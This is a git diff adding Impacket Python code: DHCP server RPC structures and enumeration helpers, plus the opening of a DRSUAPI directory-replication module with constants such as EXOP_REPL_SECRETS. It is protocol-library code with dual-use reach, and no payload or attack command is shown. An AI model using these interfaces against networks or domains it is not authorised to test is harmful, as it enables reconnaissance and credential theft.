+class DHCP_BOOTP_IP_RANGE(NDRSTRUCT):
+    structure = (
+        ('StartAddress', DHCP_IP_ADDRESS),
+        ('EndAddress', DHCP_IP_ADDRESS),
+        ('BootpAllocated', ULONG),
+        ('MaxBootpAllowed', DHCP_IP_ADDRESS),
+        ('MaxBootpAllowed', ULONG ),
+    )
+
+class DHCP_IP_RESERVATION_V4(NDRSTRUCT):
+    structure = (
+        ('ReservedIpAddress', DHCP_IP_ADDRESS),
+        ('ReservedForClient', DHCP_CLIENT_UID),
+        ('bAllowedClientTypes', BYTE),
+    )
+
+class DHCP_IP_RANGE(NDRSTRUCT):
+    structure = (
+        ('StartAddress', DHCP_IP_ADDRESS),
+        ('EndAddress', DHCP_IP_ADDRESS),
+    )
+
+class DHCP_IP_CLUSTER(NDRSTRUCT):
+    structure = (
+        ('ClusterAddress', DHCP_IP_ADDRESS),
+        ('ClusterMask', DWORD),
+    )
+
+class DHCP_SUBNET_ELEMENT_TYPE(NDRENUM):
+    class enumItems(Enum):
+        DhcpIpRanges           = 0
+        DhcpSecondaryHosts     = 1
+        DhcpReservedIps        = 2
+        DhcpExcludedIpRanges   = 3
+        DhcpIpUsedClusters     = 4
+        DhcpIpRangesDhcpOnly   = 5
+        DhcpIpRangesDhcpBootp  = 6
+        DhcpIpRangesBootpOnly  = 7
+
+class DHCP_SUBNET_ELEMENT_UNION_V5(NDRUNION):
+    union = {
+        DHCP_SUBNET_ELEMENT_TYPE.DhcpIpRanges           : ('IpRange', DHCP_BOOTP_IP_RANGE),
+        DHCP_SUBNET_ELEMENT_TYPE.DhcpSecondaryHosts     : ('SecondaryHost', DHCP_HOST_INFO),
+        DHCP_SUBNET_ELEMENT_TYPE.DhcpReservedIps        : ('ReservedIp', DHCP_IP_RESERVATION_V4),
+        DHCP_SUBNET_ELEMENT_TYPE.DhcpExcludedIpRanges   : ('ExcludeIpRange', DHCP_IP_RANGE),
+        DHCP_SUBNET_ELEMENT_TYPE.DhcpIpUsedClusters     : ('IpUsedCluster', DHCP_IP_CLUSTER),
+    }
+
+class DHCP_SUBNET_ELEMENT_DATA_V5(NDRSTRUCT):
+    structure = (
+        ('ElementType', DHCP_SUBNET_ELEMENT_TYPE),
+        ('Element', DHCP_SUBNET_ELEMENT_UNION_V5),
+    )
+
+class LPDHCP_SUBNET_ELEMENT_DATA_V5(NDRUniConformantArray):
+    item = DHCP_SUBNET_ELEMENT_DATA_V5
+
+class DHCP_SUBNET_ELEMENT_INFO_ARRAY_V5(NDRSTRUCT):
+    structure = (
+        ('NumElements', DWORD),
+        ('Elements', LPDHCP_SUBNET_ELEMENT_DATA_V5),
+    )
+
+class LPDHCP_SUBNET_ELEMENT_INFO_ARRAY_V5(NDRPOINTER):
+    referent = (
+        ('Data', DHCP_SUBNET_ELEMENT_INFO_ARRAY_V5)
+    )
+
+class DHCP_OPTION_DATA_TYPE(NDRENUM):
+    class enumItems(Enum):
+        DhcpByteOption              = 0
+        DhcpWordOption              = 1
+        DhcpDWordOption             = 2
+        DhcpDWordDWordOption        = 3
+        DhcpIpAddressOption         = 4
+        DhcpStringDataOption        = 5
+        DhcpBinaryDataOption        = 6
+        DhcpEncapsulatedDataOption  = 7
+        DhcpIpv6AddressOption       = 8
+
+class DHCP_OPTION_ELEMENT_UNION(NDRUNION):
+    commonHdr = (
+        ('tag', DHCP_OPTION_DATA_TYPE),
+    )
+    union = {
+        DHCP_OPTION_DATA_TYPE.DhcpByteOption            : ('ByteOption', BYTE),
+        DHCP_OPTION_DATA_TYPE.DhcpWordOption            : ('WordOption', WORD),
+        DHCP_OPTION_DATA_TYPE.DhcpDWordOption           : ('DWordOption', DWORD),
+        DHCP_OPTION_DATA_TYPE.DhcpDWordDWordOption      : ('DWordDWordOption', DWORD_DWORD),
+        DHCP_OPTION_DATA_TYPE.DhcpIpAddressOption       : ('IpAddressOption', DHCP_IP_ADDRESS),
+        DHCP_OPTION_DATA_TYPE.DhcpStringDataOption      : ('StringDataOption', LPWSTR),
+        DHCP_OPTION_DATA_TYPE.DhcpBinaryDataOption      : ('BinaryDataOption', DHCP_BINARY_DATA),
+        DHCP_OPTION_DATA_TYPE.DhcpEncapsulatedDataOption: ('EncapsulatedDataOption', DHCP_BINARY_DATA),
+        DHCP_OPTION_DATA_TYPE.DhcpIpv6AddressOption     : ('Ipv6AddressDataOption', LPWSTR),
+    }
+
+class DHCP_OPTION_DATA_ELEMENT(NDRSTRUCT):
+    structure = (
+        ('OptionType', DHCP_OPTION_DATA_TYPE),
+        ('Element', DHCP_OPTION_ELEMENT_UNION),
+    )
+
+class DHCP_OPTION_DATA_ELEMENT_ARRAY2(NDRUniConformantArray):
+    item = DHCP_OPTION_DATA_ELEMENT
+
+class LPDHCP_OPTION_DATA_ELEMENT(NDRPOINTER):
+    referent = (
+        ('Data', DHCP_OPTION_DATA_ELEMENT_ARRAY2),
+    )
+
+class DHCP_OPTION_DATA(NDRSTRUCT):
+    structure = (
+        ('NumElements', DWORD),
+        ('Elements', LPDHCP_OPTION_DATA_ELEMENT),
+    )
+
+class DHCP_OPTION_VALUE(NDRSTRUCT):
+    structure = (
+        ('OptionID', DHCP_OPTION_ID),
+        ('Value', DHCP_OPTION_DATA),
+    )
+
+class PDHCP_OPTION_VALUE(NDRPOINTER):
+    referent = (
+        ('Data', DHCP_OPTION_VALUE),
+    )
+
+class DHCP_OPTION_VALUE_ARRAY2(NDRUniConformantArray):
+    item = DHCP_OPTION_VALUE
+
+class LPDHCP_OPTION_VALUE(NDRPOINTER):
+    referent = (
+        ('Data', DHCP_OPTION_VALUE_ARRAY2),
+    )
+
+class DHCP_OPTION_VALUE_ARRAY(NDRSTRUCT):
+    structure = (
+        ('NumElements', DWORD),
+        ('Values', LPDHCP_OPTION_VALUE),
+    )
+
+class LPDHCP_OPTION_VALUE_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', DHCP_OPTION_VALUE_ARRAY),
+    )
+
+class DHCP_ALL_OPTION_VALUES(NDRSTRUCT):
+    structure = (
+        ('ClassName', LPWSTR),
+        ('VendorName', LPWSTR),
+        ('IsVendor', BOOL),
+        ('OptionsArray', LPDHCP_OPTION_VALUE_ARRAY),
+    )
+
+class OPTION_VALUES_ARRAY(NDRUniConformantArray):
+    item = DHCP_ALL_OPTION_VALUES
+
+class LPOPTION_VALUES_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', OPTION_VALUES_ARRAY),
+    )
+
+class DHCP_ALL_OPTIONS_VALUES(NDRSTRUCT):
+    structure = (
+        ('Flags', DWORD),
+        ('NumElements', DWORD),
+        ('Options', LPOPTION_VALUES_ARRAY),
+    )
+
+class LPDHCP_ALL_OPTION_VALUES(NDRPOINTER):
+    referent = (
+        ('Data', DHCP_ALL_OPTIONS_VALUES),
+    )
+
+################################################################################
+# RPC CALLS
+################################################################################
+# Interface dhcpsrv
+class DhcpGetSubnetInfo(NDRCALL):
+    opnum = 2
+    structure = (
+        ('ServerIpAddress', DHCP_SRV_HANDLE),
+        ('SubnetAddress', DHCP_IP_ADDRESS),
+    )
+
+class DhcpGetSubnetInfoResponse(NDRCALL):
+    structure = (
+        ('SubnetInfo', LPDHCP_SUBNET_INFO),
+        ('ErrorCode', ULONG),
+    )
+
+class DhcpEnumSubnets(NDRCALL):
+    opnum = 3
+    structure = (
+        ('ServerIpAddress', DHCP_SRV_HANDLE),
+        ('ResumeHandle', LPDWORD),
+        ('PreferredMaximum', DWORD),
+    )
+
+class DhcpEnumSubnetsResponse(NDRCALL):
+    structure = (
+        ('ResumeHandle', LPDWORD),
+        ('EnumInfo', DHCP_IP_ARRAY),
+        ('EnumRead', DWORD),
+        ('EnumTotal', DWORD),
+        ('ErrorCode', ULONG),
+    )
+
+class DhcpGetOptionValue(NDRCALL):
+    opnum = 13
+    structure = (
+        ('ServerIpAddress', DHCP_SRV_HANDLE),
+        ('OptionID', DHCP_OPTION_ID),
+        ('ScopeInfo', DHCP_OPTION_SCOPE_INFO),
+    )
+
+class DhcpGetOptionValueResponse(NDRCALL):
+    structure = (
+        ('OptionValue', PDHCP_OPTION_VALUE),
+        ('ErrorCode', ULONG),
+    )
+
+class DhcpEnumOptionValues(NDRCALL):
+    opnum = 14
+    structure = (
+        ('ServerIpAddress', DHCP_SRV_HANDLE),
+        ('ScopeInfo', DHCP_OPTION_SCOPE_INFO),
+        ('ResumeHandle', LPDWORD),
+        ('PreferredMaximum', DWORD),
+    )
+
+class DhcpEnumOptionValuesResponse(NDRCALL):
+    structure = (
+        ('ResumeHandle', DWORD),
+        ('OptionValues', LPDHCP_OPTION_VALUE_ARRAY),
+        ('OptionsRead', DWORD),
+        ('OptionsTotal', DWORD),
+        ('ErrorCode', ULONG),
+    )
+
+class DhcpGetClientInfoV4(NDRCALL):
+    opnum = 34
+    structure = (
+        ('ServerIpAddress', DHCP_SRV_HANDLE),
+        ('SearchInfo', DHCP_SEARCH_INFO),
+    )
+
+class DhcpGetClientInfoV4Response(NDRCALL):
+    structure = (
+        ('ClientInfo', LPDHCP_CLIENT_INFO_V4),
+        ('ErrorCode', ULONG),
+    )
+
+class DhcpEnumSubnetClientsV4(NDRCALL):
+    opnum = 35
+    structure = (
+        ('ServerIpAddress', DHCP_SRV_HANDLE),
+        ('SubnetAddress', DHCP_IP_ADDRESS),
+        ('ResumeHandle', DWORD),
+        ('PreferredMaximum', DWORD),
+    )
+
+class DhcpEnumSubnetClientsV4Response(NDRCALL):
+    structure = (
+        ('ResumeHandle', LPDWORD),
+        ('ClientInfo', LPDHCP_CLIENT_INFO_ARRAY_V4),
+        ('ClientsRead', DWORD),
+        ('ClientsTotal', DWORD),
+        ('ErrorCode', ULONG),
+    )
+
+# Interface dhcpsrv2
+
+class DhcpEnumSubnetClientsV5(NDRCALL):
+    opnum = 0
+    structure = (
+        ('ServerIpAddress', DHCP_SRV_HANDLE),
+        ('SubnetAddress', DHCP_IP_ADDRESS),
+        ('ResumeHandle', LPDWORD),
+        ('PreferredMaximum', DWORD),
+    )
+
+class DhcpEnumSubnetClientsV5Response(NDRCALL):
+    structure = (
+        ('ResumeHandle', DWORD),
+        ('ClientsInfo', LPDHCP_CLIENT_INFO_ARRAY_V5),
+        ('ClientsRead', DWORD),
+        ('ClientsTotal', DWORD),
+    )
+
+class DhcpGetOptionValueV5(NDRCALL):
+    opnum = 21
+    structure = (
+        ('ServerIpAddress', DHCP_SRV_HANDLE),
+        ('Flags', DWORD),
+        ('OptionID', DHCP_OPTION_ID),
+        ('ClassName', LPWSTR),
+        ('VendorName', LPWSTR),
+        ('ScopeInfo', DHCP_OPTION_SCOPE_INFO),
+    )
+
+class DhcpGetOptionValueV5Response(NDRCALL):
+    structure = (
+        ('OptionValue', PDHCP_OPTION_VALUE),
+        ('ErrorCode', ULONG),
+    )
+
+class DhcpEnumOptionValuesV5(NDRCALL):
+    opnum = 22
+    structure = (
+        ('ServerIpAddress', DHCP_SRV_HANDLE),
+        ('Flags', DWORD),
+        ('ClassName', LPWSTR),
+        ('VendorName', LPWSTR),
+        ('ScopeInfo', DHCP_OPTION_SCOPE_INFO),
+        ('ResumeHandle', LPDWORD),
+        ('PreferredMaximum', DWORD),
+    )
+
+class DhcpEnumOptionValuesV5Response(NDRCALL):
+    structure = (
+        ('ResumeHandle', DWORD),
+        ('OptionValues', LPDHCP_OPTION_VALUE_ARRAY),
+        ('OptionsRead', DWORD),
+        ('OptionsTotal', DWORD),
+        ('ErrorCode', ULONG),
+    )
+
+class DhcpGetAllOptionValues(NDRCALL):
+    opnum = 30
+    structure = (
+        ('ServerIpAddress', DHCP_SRV_HANDLE),
+        ('Flags', DWORD),
+        ('ScopeInfo', DHCP_OPTION_SCOPE_INFO),
+    )
+
+class DhcpGetAllOptionValuesResponse(NDRCALL):
+    structure = (
+        ('Values', LPDHCP_ALL_OPTION_VALUES),
+        ('ErrorCode', ULONG),
+    )
+
+class DhcpEnumSubnetElementsV5(NDRCALL):
+    opnum = 38
+    structure = (
+        ('ServerIpAddress', DHCP_SRV_HANDLE),
+        ('SubnetAddress', DHCP_IP_ADDRESS),
+        ('EnumElementType', DHCP_SUBNET_ELEMENT_TYPE),
+        ('ResumeHandle', LPDWORD),
+        ('PreferredMaximum', DWORD),
+    )
+
+class DhcpEnumSubnetElementsV5Response(NDRCALL):
+    structure = (
+        ('ResumeHandle', DWORD),
+        ('EnumElementInfo', LPDHCP_SUBNET_ELEMENT_INFO_ARRAY_V5),
+        ('ElementsRead', DWORD),
+        ('ElementsTotal', DWORD),
+        ('ErrorCode', ULONG),
+    )
+
+class DhcpEnumSubnetClientsVQ(NDRCALL):
+    opnum = 47
+    structure = (
+        ('ServerIpAddress', DHCP_SRV_HANDLE),
+        ('SubnetAddress', DHCP_IP_ADDRESS),
+        ('ResumeHandle', LPDWORD),
+        ('PreferredMaximum', DWORD),
+    )
+
+class DhcpEnumSubnetClientsVQResponse(NDRCALL):
+    structure = (
+        ('ResumeHandle', LPDWORD),
+        ('ClientInfo', LPDHCP_CLIENT_INFO_ARRAY_VQ),
+        ('ClientsRead', DWORD),
+        ('ClientsTotal', DWORD),
+        ('ErrorCode', ULONG),
+    )
+
+class DhcpV4GetClientInfo(NDRCALL):
+    opnum = 123
+    structure = (
+        ('ServerIpAddress', DHCP_SRV_HANDLE),
+        ('SearchInfo', DHCP_SEARCH_INFO),
+    )
+
+class DhcpV4GetClientInfoResponse(NDRCALL):
+    structure = (
+        ('ClientInfo', LPDHCP_CLIENT_INFO_PB),
+        ('ErrorCode', ULONG),
+    )
+
+################################################################################
+# OPNUMs and their corresponding structures
+################################################################################
+OPNUMS = {
+    0: (DhcpEnumSubnetClientsV5, DhcpEnumSubnetClientsV5Response),
+    2: (DhcpGetSubnetInfo, DhcpGetSubnetInfoResponse),
+    3: (DhcpEnumSubnets, DhcpEnumSubnetsResponse),
+    13: (DhcpGetOptionValue, DhcpGetOptionValueResponse),
+    14: (DhcpEnumOptionValues, DhcpEnumOptionValuesResponse),
+    21: (DhcpGetOptionValueV5, DhcpGetOptionValueV5Response),
+    22: (DhcpEnumOptionValuesV5, DhcpEnumOptionValuesV5Response),
+    30: (DhcpGetAllOptionValues, DhcpGetAllOptionValuesResponse),
+    34: (DhcpGetClientInfoV4, DhcpGetClientInfoV4Response),
+    35: (DhcpEnumSubnetClientsV4, DhcpEnumSubnetClientsV4Response),
+    38: (DhcpEnumSubnetElementsV5, DhcpEnumSubnetElementsV5Response),
+    47: (DhcpEnumSubnetClientsVQ, DhcpEnumSubnetClientsVQResponse),
+    123: (DhcpV4GetClientInfo, DhcpV4GetClientInfoResponse),
+}
+
+
+################################################################################
+# HELPER FUNCTIONS
+################################################################################
+def hDhcpGetClientInfoV4(dce, searchType, searchValue):
+    request = DhcpGetClientInfoV4()
+
+    request['ServerIpAddress'] = NULL
+    request['SearchInfo']['SearchType'] = searchType
+    request['SearchInfo']['SearchInfo']['tag'] = searchType
+    if searchType == DHCP_SEARCH_INFO_TYPE.DhcpClientIpAddress:
+        request['SearchInfo']['SearchInfo']['ClientIpAddress'] = searchValue
+    elif searchType == DHCP_SEARCH_INFO_TYPE.DhcpClientHardwareAddress:
+        # This should be a DHCP_BINARY_DATA
+        request['SearchInfo']['SearchInfo']['ClientHardwareAddress'] = searchValue
+    else:
+        request['SearchInfo']['SearchInfo']['ClientName'] = searchValue
+
+    return dce.request(request)
+
+def hDhcpGetSubnetInfo(dce, subnetaddress):
+    request = DhcpGetSubnetInfo()
+
+    request['ServerIpAddress'] = NULL
+    request['SubnetAddress'] = subnetaddress
+    resp = dce.request(request)
+
+    return resp
+
+def hDhcpGetOptionValue(dce, optionID, scopetype=DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions, options=NULL):
+    request = DhcpGetOptionValue()
+
+    request['ServerIpAddress'] = NULL
+    request['OptionID'] = optionID
+    request['ScopeInfo']['ScopeType'] = scopetype
+    if scopetype != DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions and scopetype != DHCP_OPTION_SCOPE_TYPE.DhcpGlobalOptions:
+        request['ScopeInfo']['ScopeInfo']['tag'] = scopetype
+    if scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpSubnetOptions:
+        request['ScopeInfo']['ScopeInfo']['SubnetScopeInfo'] = options
+    elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpReservedOptions:
+        request['ScopeInfo']['ScopeInfo']['ReservedScopeInfo'] = options
+    elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpMScopeOptions:
+        request['ScopeInfo']['ScopeInfo']['MScopeInfo'] = options
+
+    status = system_errors.ERROR_MORE_DATA
+    while status == system_errors.ERROR_MORE_DATA:
+        try:
+            resp = dce.request(request)
+        except DCERPCException as e:
+            if str(e).find('ERROR_NO_MORE_ITEMS') < 0:
+                raise
+            resp = e.get_packet()
+        return resp
+
+def hDhcpEnumOptionValues(dce, scopetype=DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions, options=NULL,
+                          preferredMaximum=0xffffffff):
+    request = DhcpEnumOptionValues()
+
+    request['ServerIpAddress'] = NULL
+    request['ScopeInfo']['ScopeType'] = scopetype
+    if scopetype != DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions and scopetype != DHCP_OPTION_SCOPE_TYPE.DhcpGlobalOptions:
+        request['ScopeInfo']['ScopeInfo']['tag'] = scopetype
+    if scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpSubnetOptions:
+        request['ScopeInfo']['ScopeInfo']['SubnetScopeInfo'] = options
+    elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpReservedOptions:
+        request['ScopeInfo']['ScopeInfo']['ReservedScopeInfo'] = options
+    elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpMScopeOptions:
+        request['ScopeInfo']['ScopeInfo']['MScopeInfo'] = options
+    request['ResumeHandle'] = NULL
+    request['PreferredMaximum'] = preferredMaximum
+
+    status = system_errors.ERROR_MORE_DATA
+    while status == system_errors.ERROR_MORE_DATA:
+        try:
+            resp = dce.request(request)
+        except DCERPCException as e:
+            if str(e).find('ERROR_NO_MORE_ITEMS') < 0:
+                raise
+            resp = e.get_packet()
+        return resp
+
+def hDhcpEnumOptionValuesV5(dce, flags=DHCP_FLAGS_OPTION_DEFAULT, classname=NULL, vendorname=NULL,
+                            scopetype=DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions, options=NULL,
+                            preferredMaximum=0xffffffff):
+    request = DhcpEnumOptionValuesV5()
+
+    request['ServerIpAddress'] = NULL
+    request['Flags'] = flags
+    request['ClassName'] = classname
+    request['VendorName'] = vendorname
+    request['ScopeInfo']['ScopeType'] = scopetype
+    request['ScopeInfo']['ScopeInfo']['tag'] = scopetype
+    if scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpSubnetOptions:
+        request['ScopeInfo']['ScopeInfo']['SubnetScopeInfo'] = options
+    elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpReservedOptions:
+        request['ScopeInfo']['ScopeInfo']['ReservedScopeInfo'] = options
+    elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpMScopeOptions:
+        request['ScopeInfo']['ScopeInfo']['MScopeInfo'] = options
+    request['ResumeHandle'] = NULL
+    request['PreferredMaximum'] = preferredMaximum
+
+    status = system_errors.ERROR_MORE_DATA
+    while status == system_errors.ERROR_MORE_DATA:
+        try:
+            resp = dce.request(request)
+        except DCERPCException as e:
+            if str(e).find('ERROR_NO_MORE_ITEMS') < 0:
+                raise
+            resp = e.get_packet()
+        return resp
+
+def hDhcpGetOptionValueV5(dce, option_id, flags=DHCP_FLAGS_OPTION_DEFAULT, classname=NULL, vendorname=NULL,
+                            scopetype=DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions, options=NULL):
+    request = DhcpGetOptionValueV5()
+
+    request['ServerIpAddress'] = NULL
+    request['Flags'] = flags
+    request['OptionID'] = option_id
+    request['ClassName'] = classname
+    request['VendorName'] = vendorname
+    request['ScopeInfo']['ScopeType'] = scopetype
+    request['ScopeInfo']['ScopeInfo']['tag'] = scopetype
+    if scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpSubnetOptions:
+        request['ScopeInfo']['ScopeInfo']['SubnetScopeInfo'] = options
+    elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpReservedOptions:
+        request['ScopeInfo']['ScopeInfo']['ReservedScopeInfo'] = options
+    elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpMScopeOptions:
+        request['ScopeInfo']['ScopeInfo']['MScopeInfo'] = options
+
+    status = system_errors.ERROR_MORE_DATA
+    while status == system_errors.ERROR_MORE_DATA:
+        try:
+            resp = dce.request(request)
+        except DCERPCException as e:
+            if str(e).find('ERROR_NO_MORE_ITEMS') < 0:
+                raise
+            resp = e.get_packet()
+        return resp
+
+def hDhcpGetAllOptionValues(dce, scopetype=DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions, options=NULL):
+    request = DhcpGetAllOptionValues()
+
+    request['ServerIpAddress'] = NULL
+    request['Flags'] = NULL
+    request['ScopeInfo']['ScopeType'] = scopetype
+    request['ScopeInfo']['ScopeInfo']['tag'] = scopetype
+    if scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpSubnetOptions:
+        request['ScopeInfo']['ScopeInfo']['SubnetScopeInfo'] = options
+    elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpReservedOptions:
+        request['ScopeInfo']['ScopeInfo']['ReservedScopeInfo'] = options
+    elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpMScopeOptions:
+        request['ScopeInfo']['ScopeInfo']['MScopeInfo'] = options
+
+    status = system_errors.ERROR_MORE_DATA
+    while status == system_errors.ERROR_MORE_DATA:
+        try:
+            resp = dce.request(request)
+        except DCERPCException as e:
+            if str(e).find('ERROR_NO_MORE_ITEMS') < 0:
+                raise
+            resp = e.get_packet()
+        return resp
+
+def hDhcpEnumSubnets(dce, preferredMaximum=0xffffffff):
+    request = DhcpEnumSubnets()
+
+    request['ServerIpAddress'] = NULL
+    request['ResumeHandle'] = NULL
+    request['PreferredMaximum'] = preferredMaximum
+    status = system_errors.ERROR_MORE_DATA
+    while status == system_errors.ERROR_MORE_DATA:
+        try:
+            resp = dce.request(request)
+        except DCERPCException as e:
+            if str(e).find('STATUS_MORE_ENTRIES') < 0:
+                raise
+            resp = e.get_packet()
+        return resp
+
+def hDhcpEnumSubnetClientsVQ(dce, preferredMaximum=0xffffffff):
+    request = DhcpEnumSubnetClientsVQ()
+
+    request['ServerIpAddress'] = NULL
+    request['SubnetAddress'] = NULL
+    request['ResumeHandle'] = NULL
+    request['PreferredMaximum'] = preferredMaximum
+    status = system_errors.ERROR_MORE_DATA
+    while status == system_errors.ERROR_MORE_DATA:
+        try:
+            resp = dce.request(request)
+        except DCERPCException as e:
+            if str(e).find('STATUS_MORE_ENTRIES') < 0:
+                raise
+            resp = e.get_packet()
+        return resp
+
+def hDhcpEnumSubnetClientsV4(dce, preferredMaximum=0xffffffff):
+    request = DhcpEnumSubnetClientsV4()
+
+    request['ServerIpAddress'] = NULL
+    request['SubnetAddress'] = NULL
+    request['ResumeHandle'] = NULL
+    request['PreferredMaximum'] = preferredMaximum
+    status = system_errors.ERROR_MORE_DATA
+    while status == system_errors.ERROR_MORE_DATA:
+        try:
+            resp = dce.request(request)
+        except DCERPCException as e:
+            if str(e).find('STATUS_MORE_ENTRIES') < 0:
+                raise
+            resp = e.get_packet()
+        return resp
+
+def hDhcpEnumSubnetClientsV5(dce, subnetAddress=0, preferredMaximum=0xffffffff):
+    request = DhcpEnumSubnetClientsV5()
+
+    request['ServerIpAddress'] = NULL
+    request['SubnetAddress'] = subnetAddress
+    request['ResumeHandle'] = NULL
+    request['PreferredMaximum'] = preferredMaximum
+    status = system_errors.ERROR_MORE_DATA
+    while status == system_errors.ERROR_MORE_DATA:
+        try:
+            resp = dce.request(request)
+        except DCERPCSessionError as e:
+            if str(e).find('STATUS_MORE_ENTRIES') < 0:
+                raise
+            resp = e.get_packet()
+        return resp
+
+def hDhcpEnumSubnetElementsV5(dce, subnet_address, element_type=DHCP_SUBNET_ELEMENT_TYPE.DhcpIpRanges, preferredMaximum=0xffffffff):
+    request = DhcpEnumSubnetElementsV5()
+
+    request['ServerIpAddress'] = NULL
+    request['SubnetAddress'] = subnet_address
+    request['EnumElementType'] = element_type
+    request['ResumeHandle'] = NULL
+    request['PreferredMaximum'] = preferredMaximum
+
+    status = system_errors.ERROR_MORE_DATA
+    while status == system_errors.ERROR_MORE_DATA:
+        try:
+            resp = dce.request(request)
+        except DCERPCException as e:
+            if str(e).find('ERROR_NO_MORE_ITEMS') < 0:
+                raise
+            resp = e.get_packet()
+        return resp
diff --git a/impacket/dcerpc/v5/drsuapi.py b/impacket/dcerpc/v5/drsuapi.py
new file mode 100644
index 0000000..a9b1f84
--- /dev/null
+++ b/impacket/dcerpc/v5/drsuapi.py
@@ -0,0 +1,1521 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   [MS-DRSR] Directory Replication Service (DRS) DRSUAPI Interface implementation
+#
+#   Best way to learn how to use these calls is to grab the protocol standard
+#   so you understand what the call does, and then read the test case located
+#   at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
+#
+#   Some calls have helper functions, which makes it even easier to use.
+#   They are located at the end of this file.
+#   Helper functions start with "h"<name of the call>.
+#   There are test cases for them too.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+
+from __future__ import division
+from __future__ import print_function
+from builtins import bytes
+import hashlib
+from struct import pack
+import six
+from six import PY2
+
+from impacket import LOG
+from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRUNION, NDR, NDRENUM
+from impacket.dcerpc.v5.dtypes import PUUID, DWORD, NULL, GUID, LPWSTR, BOOL, ULONG, UUID, LONGLONG, ULARGE_INTEGER, LARGE_INTEGER
+from impacket import hresult_errors, system_errors
+from impacket.structure import Structure
+from impacket.uuid import uuidtup_to_bin, string_to_bin
+from impacket.dcerpc.v5.enum import Enum
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket.krb5 import crypto
+from pyasn1.type import univ
+from pyasn1.codec.ber import decoder
+from impacket.crypto import transformKey
+
+try:
+    from Cryptodome.Cipher import ARC4, DES
+except Exception:
+    LOG.critical("Warning: You don't have any crypto installed. You need pycryptodomex")
+    LOG.critical("See https://pypi.org/project/pycryptodomex/")
+
+MSRPC_UUID_DRSUAPI = uuidtup_to_bin(('E3514235-4B06-11D1-AB04-00C04FC2DCD2','4.0'))
+
+class DCERPCSessionError(DCERPCException):
+    def __init__(self, error_string=None, error_code=None, packet=None):
+        DCERPCException.__init__(self, error_string, error_code, packet)
+
+    def __str__( self ):
+        key = self.error_code
+        if key in hresult_errors.ERROR_MESSAGES:
+            error_msg_short = hresult_errors.ERROR_MESSAGES[key][0]
+            error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1]
+            return 'DRSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
+        elif key & 0xffff in system_errors.ERROR_MESSAGES:
+            error_msg_short = system_errors.ERROR_MESSAGES[key & 0xffff][0]
+            error_msg_verbose = system_errors.ERROR_MESSAGES[key & 0xffff][1]
+            return 'DRSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
+        else:
+            return 'DRSR SessionError: unknown error code: 0x%x' % self.error_code
+
+################################################################################
+# CONSTANTS
+################################################################################
+# 4.1.10.2.17 EXOP_ERR Codes
+class EXOP_ERR(NDRENUM):
+    align = 4
+    align64 = 4
+    structure = (
+        ('Data', '<L'),
+    )
+    class enumItems(Enum):
+        EXOP_ERR_SUCCESS               = 0x00000001
+        EXOP_ERR_UNKNOWN_OP            = 0x00000002
+        EXOP_ERR_FSMO_NOT_OWNER        = 0x00000003
+        EXOP_ERR_UPDATE_ERR            = 0x00000004
+        EXOP_ERR_EXCEPTION             = 0x00000005
+        EXOP_ERR_UNKNOWN_CALLER        = 0x00000006
+        EXOP_ERR_RID_ALLOC             = 0x00000007
+        EXOP_ERR_FSMO_OWNER_DELETED    = 0x00000008
+        EXOP_ERR_FSMO_PENDING_OP       = 0x00000009
+        EXOP_ERR_MISMATCH              = 0x0000000A
+        EXOP_ERR_COULDNT_CONTACT       = 0x0000000B
+        EXOP_ERR_FSMO_REFUSING_ROLES   = 0x0000000C
+        EXOP_ERR_DIR_ERROR             = 0x0000000D
+        EXOP_ERR_FSMO_MISSING_SETTINGS = 0x0000000E
+        EXOP_ERR_ACCESS_DENIED         = 0x0000000F
+        EXOP_ERR_PARAM_ERROR           = 0x00000010
+
+    def dump(self, msg = None, indent = 0):
+        if msg is None:
+            msg = self.__class__.__name__
+        if msg != '':
+            print(msg, end=' ')
+
+        try:
+            print(" %s" % self.enumItems(self.fields['Data']).name, end=' ')
+        except ValueError:
+            print(" %d" % self.fields['Data'])
+
+# 4.1.10.2.18 EXOP_REQ Codes
+EXOP_FSMO_REQ_ROLE = 0x00000001
+EXOP_FSMO_REQ_RID_ALLOC = 0x00000002
+EXOP_FSMO_RID_REQ_ROLE = 0x00000003
+EXOP_FSMO_REQ_PDC = 0x00000004
+EXOP_FSMO_ABANDON_ROLE = 0x00000005
+EXOP_REPL_OBJ = 0x00000006
+EXOP_REPL_SECRETS = 0x00000007
+
+# 5.14 ATTRTYP
+ATTRTYP = ULONG
+
+# 5.51 DSTIME
+DSTIME = LONGLONG
+
